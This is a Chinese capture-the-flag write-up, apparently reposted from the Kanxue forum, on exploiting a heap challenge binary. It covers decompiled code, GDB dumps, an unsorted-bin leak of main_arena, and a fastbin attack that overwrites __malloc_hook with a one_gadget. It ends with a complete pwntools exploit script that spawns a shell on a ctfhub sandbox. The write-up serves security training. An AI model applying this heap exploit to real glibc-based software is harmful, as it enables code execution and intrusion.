日期:
来源:看雪学苑收集编辑:LeaMov
本文为看雪论坛优秀文章
看雪论坛作者ID:LeaMov
一
程序分析
1、IDA静态分析
(1)伪代码分析
main()函数:
int __cdecl __noreturn main(int argc, const char **argv, const char **envp){init(argc, argv, envp);interface();}void __noreturn interface(){int choice; // [rsp+4h] [rbp-Ch] BYREFunsigned __int64 v1; // [rsp+8h] [rbp-8h]v1 = __readfsqword(0x28u);while ( 1 ){while ( 1 ){menu();__isoc99_scanf("%d", &choice);if ( choice != 1 )break;add();}switch ( choice ){case 2:delete();break;case 3:show();break;case 4:edit();break;case 1024:if ( magic > 28800 )system("/bin/sh");break;default:exit(-1);}}}
add()函数:
unsigned __int64 add(){unsigned int inputSize; // [rsp+4h] [rbp-101Ch] BYREFunsigned int index; // [rsp+8h] [rbp-1018h]unsigned int v3; // [rsp+Ch] [rbp-1014h]char v4[4096]; // [rsp+10h] [rbp-1010h] BYREFunsigned __int64 v5; // [rsp+1018h] [rbp-8h]v5 = __readfsqword(0x28u);memset(v4, 0, sizeof(v4));for ( index = 0; index <= 9; ++index ){if ( !*(&heapList + index) ){v3 = index;break;}}if ( index == 11 ){puts("wrong");exit(0);}puts("Size: ");__isoc99_scanf("%d", &inputSize);if ( inputSize > 0x500 )inputSize = 1280;*(&heapList + v3) = malloc(inputSize);Size[v3] = inputSize;puts("Content: ");read(0, *(&heapList + v3), inputSize);return __readfsqword(0x28u) ^ v5;}
delete()函数:
unsigned __int64 delete(){unsigned int index; // [rsp+4h] [rbp-Ch] BYREFunsigned __int64 v2; // [rsp+8h] [rbp-8h]v2 = __readfsqword(0x28u);puts("Index:");__isoc99_scanf("%d", &index);if ( index > 0xB ){puts("wrong");exit(0);}free(*(&heapList + index));*(&heapList + index) = 0LL;Size[index] = 0;return __readfsqword(0x28u) ^ v2;}
show()函数:
unsigned __int64 show(){unsigned int index; // [rsp+4h] [rbp-Ch] BYREFunsigned __int64 v2; // [rsp+8h] [rbp-8h]v2 = __readfsqword(0x28u);puts("Index:");__isoc99_scanf("%d", &index);if ( *(&heapList + index) )printf("Content: %s\n", (const char *)*(&heapList + index));return __readfsqword(0x28u) ^ v2;}
edit()函数【利用点-堆溢出】
unsigned __int64 edit(){int nbytes; // [rsp+0h] [rbp-10h] BYREFunsigned int index; // [rsp+4h] [rbp-Ch] BYREFunsigned __int64 v3; // [rsp+8h] [rbp-8h]v3 = __readfsqword(0x28u);puts("Index:");__isoc99_scanf("%d", &index);puts("Size:");__isoc99_scanf("%d", &nbytes);if ( Size[index] >= nbytes ){if ( *(&heapList + index) ){puts("Content:");read(0, *(&heapList + index), (unsigned int)nbytes);}else{puts("wrong");}}else{puts("wrong!");}return __readfsqword(0x28u) ^ v3;}
(2)GDB调试分析
pwndbg> x/30gx 0x6020AC-0x1f0x60208d: 0xfff7bc38e0000000 0x000000000000007f0x60209d: 0xfff7bc4540000000 0x000000000000007f0x6020ad <magic+1>: 0x0000000000000000 0x00000000000000000x6020bd: 0x0000000000000000 0x00000000000000000x6020cd <ptr+13>: 0x0000000000000000 0x00000000000000000x6020dd <ptr+29>: 0x0000000000000000 0x00000000000000000x6020ed <ptr+45>: 0x0000000000000000 0x00000000000000000x6020fd <ptr+61>: 0x0000000000000000 0x00000000000000000x60210d <ptr+77>: 0x0000000000000000 0x00000000000000000x60211d: 0x0000000000000000 0x00000000000000000x60212d <Size+13>: 0x0000000000000000 0x00000000000000000x60213d <Size+29>: 0x0000000000000000 0x0000000000000000
pwndbg> x/30gx 0x7ffff7bc3b10-0x300x7ffff7bc3ae0 <_IO_wide_data_0+288>: 0x0000000000000000 0x00000000000000000x7ffff7bc3af0 <_IO_wide_data_0+304>: 0x00007ffff7bc2260 0x00000000000000000x7ffff7bc3b00 <__memalign_hook>: 0x00007ffff78853f0 0x00007ffff7884fd00x7ffff7bc3b10 <__malloc_hook>: 0x00007ffff7884e00 0x00000000000000000x7ffff7bc3b20 <main_arena>: 0x0000000000000000 0x0000000000000000
pwndbg> x/30gx 0x7ffff7bc3b20-0x330x7ffff7bc3aed <_IO_wide_data_0+301>: 0xfff7bc2260000000 0x000000000000007f0x7ffff7bc3afd: 0xfff78853f0000000 0xfff7884fd000007f0x7ffff7bc3b0d <__realloc_hook+5>: 0xfff7884e0000007f 0x000000000000007f0x7ffff7bc3b1d: 0x0000000000000000 0x00000000000000000x7ffff7bc3b2d <main_arena+13>: 0x0000000000000000 0x0000000000000000
2、分析总结
二
漏洞利用及原理
可利用漏洞
整数溢出漏洞 堆溢出漏洞
1.UnsortedBin Attack | Leak mainArena
利用思路
add()函数允许用户申请10个不大于0x500的heap
edit()函数中存在堆溢出漏洞
__malloc_hook()函数位于main_arena-0x10处
__malloc_hook()函数上方存在可用于构造FakeChunk的内存区
利用流程
申请3块大小为0x60的chunk#0 chunk#1 chunk#2、申请1块大小为0x400的chunk#3、再申请一块大小为0x60的chunk#4
释放chunk#3使其进入unsorted bin,此时chunk#3->fd指向main_arena
通过edit()函数填充chunk#2至chunk#3->size
使用show()函数打印chunk#2并泄露出main_arena后计算出__malloc_hook和LibcBase
使用FastBin Attack篡改__malloc_hook使其指向oneGadget
利用原理
三
Exploit
from pwn import *prog = "./pwn"local = Falsecontext(os='linux', arch='amd64', log_level='debug')elf = ELF("./pwn")libc = ELF("./libc-2.23.so")if local:p = process(prog)libc = ELF("/root/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6")gdb.attach(p)sleep(1)else:p = remote("challenge-201a3ecdccce276e.sandbox.ctfhub.com",29865)def add(size):p.sendlineafter(">> ","1")p.sendlineafter("Size: \n",str(size))p.sendafter("Content: \n",b"\x00")def show(index):p.sendlineafter(">> ","3")p.sendlineafter("Index:\n",str(index))def dele(index):p.sendlineafter(">> ","2")p.sendlineafter("Index:\n",str(index))def edit(index,content):p.sendlineafter(">> ","4")p.sendlineafter("Index:\n",str(index))p.sendlineafter("Size:\n","-1")p.sendafter("Content:\n",content)fakeChunk = 0x60208dadd(0x60)#0add(0x60)#1add(0x60)#2add(0x400)#3add(0x60)#4 避免chunk#3与topChunk合并dele(3)payload = b"A"*0x70edit(2,payload)show(2)mainArena = u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))print("mainArena ===========> {}".format(hex(mainArena)))mallocHook = mainArena-0x10-88libcBase = mallocHook - libc.sym['__malloc_hook']oneGadGet = 0xf1247 + libcBasefakeChunk = mallocHook - 0x23#易错点,请勿忽略本操作payload = b"\x00"*0x60payload += p64(0)payload += p64(0x411)edit(2,payload)#此处需还原chunk#2下一个chunk的size以绕过_int_free()函数检查,详细在总结中说明#易错点,请勿忽略本操作#接下来是FastBin Attack操作,具体可参照上一篇文章《FastBin Attack》dele(2)dele(1)payload = b"A"*0x60payload += p64(0)payload += p64(0x71)payload += p64(fakeChunk)edit(0,payload)add(0x60)#1add(0x60)#2 = fakeChunkpayload = b"A"*0x13payload += p64(oneGadGet)edit(2,payload)p.interactive()p.close()
四
总结
1、关于通过 Unsorted Bin 泄露地址的补充
申请一块0x60大小的chunk#0
申请一块0x40大小的chunk#1
申请一块0x400大小的chunk#2
通过堆溢出篡改chunk#1的size为0x60
show(1)即可打印出chunk#2的fd和bk
2、本题易错点
*** Error in `./pwn': free(): invalid next size (fast): 0x0000000001a530f0 ***fail = (chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ|| chunksize (chunk_at_offset (p, size)) >= av->system_mem);__libc_lock_unlock (av->mutex);
看雪ID:LeaMov
https://bbs.kanxue.com/user-home-952954.htm
# 往期推荐
3、安卓加固脱壳分享
球分享
球点赞
球在看